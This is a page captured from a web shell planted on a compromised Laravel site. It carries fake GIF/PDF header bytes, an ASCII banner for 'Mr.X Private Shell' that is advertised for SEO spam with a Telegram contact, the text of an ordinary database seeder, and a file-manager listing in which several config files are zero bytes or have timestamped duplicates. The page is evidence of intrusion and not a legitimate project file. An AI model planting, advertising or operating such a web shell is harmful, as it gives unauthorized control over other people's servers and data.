GIF89; GIF89; %PDF- %PDF-
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
declare(strict_types=1);
namespace Database\Seeders;
use App\Domain\Project\Enums\ProjectStatusEnum;
use App\Domain\Project\Requests\CreateProjectGroupRequest;
use App\Domain\Project\Requests\CreateProjectRequest;
use App\Domain\Project\Services\ProjectGroupService;
use App\Domain\Project\Services\ProjectService;
use App\Enums\ModelsEnum;
use Illuminate\Database\Seeder;
class ProjectSeeder extends Seeder
{
/**
* Run the database seeds.
*/
public function run(): void
{
//Group seed
/** @var ProjectGroupService $groupService */
$groupService = app()->make(ProjectGroupService::class);
$groups = [];
foreach (ModelsEnum::cases() as $case) {
for ($i = 0; $i < 10; $i++) {
$group = $groupService->create($case->value, new CreateProjectGroupRequest([
'name' => 'Группа проектов ' . $case->value . '-' . ($i + 1) . '-' . $case->value
]));
$groups[$case->value][] = $group->id;
}
}
/** @var ProjectService $ProjectService */
$ProjectService = app()->make(ProjectService::class);
foreach (ModelsEnum::cases() as $case) {
for ($i = 0; $i < 10; $i++) {
$ProjectService->create($case->value, new CreateProjectRequest([
'project_group_id' => fake()->randomElement(array_merge($groups[$case->value], [null])),
'status' => fake()->randomElement([
ProjectStatusEnum::PROJECT_STATUS_ACTIVE->value,
ProjectStatusEnum::PROJECT_STATUS_FINISHED->value,
]),
'offer_number' => 'Договор № ' . random_int(1000, 9999) . ' от ' . fake()->date('Y/m/d'),
'object_address' => fake()->address(),
'short_description' => 'Короткое описание для ' . $case->value . '-' . ($i + 1) . '-' . $case->value,
'description' => 'Длинное описание для ' . $case->value . '-' . ($i + 1) . '-' . $case->value,
]));
}
}
}
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| factories | Folder | 0755 |
|
|
| migrations | Folder | 0755 |
|
|
| seeders | Folder | 0755 |
|
|
| -20260128123626.gitignore | File | 10 B | 0644 |
|
| .gitignore | File | 10 B | 0644 |
|
| 01KFX1CYAABDKCK27C2KDZBH4V.json | File | 18.24 KB | 0644 |
|
| ProjectSeeder.php | File | 2.15 KB | 0644 |
|
| ResponseDto.php | File | 0 B | 0644 |
|
| RoleTableSeeder.php | File | 1.04 KB | 0644 |
|
| TokenResponse.php | File | 0 B | 0644 |
|
| UserFactory.php | File | 1.35 KB | 0644 |
|
| accounts.php | File | 0 B | 0644 |
|
| api-20260128091525.php | File | 0 B | 0644 |
|
| api.php | File | 0 B | 0644 |
|
| app.php | File | 0 B | 0644 |
|
| auth.php | File | 3.93 KB | 0644 |
|
| cache-20260128133236.php | File | 0 B | 0644 |
|
| cache.php | File | 0 B | 0644 |
|
| console.php | File | 369 B | 0644 |
|
| debugbar-20260128131136.php | File | 0 B | 0644 |
|
| debugbar-20260128131237.php | File | 0 B | 0644 |
|
| debugbar.php | File | 0 B | 0644 |
|
| index.php | File | 468 B | 0644 |
|
| phpunit.xml | File | 0 B | 0644 |
|
| samurai_activity.log | File | 213 B | 0644 |
|
| services-20260128075428.php | File | 0 B | 0644 |
|
| services.php | File | 0 B | 0644 |
|
| web.php | File | 0 B | 0644 |
|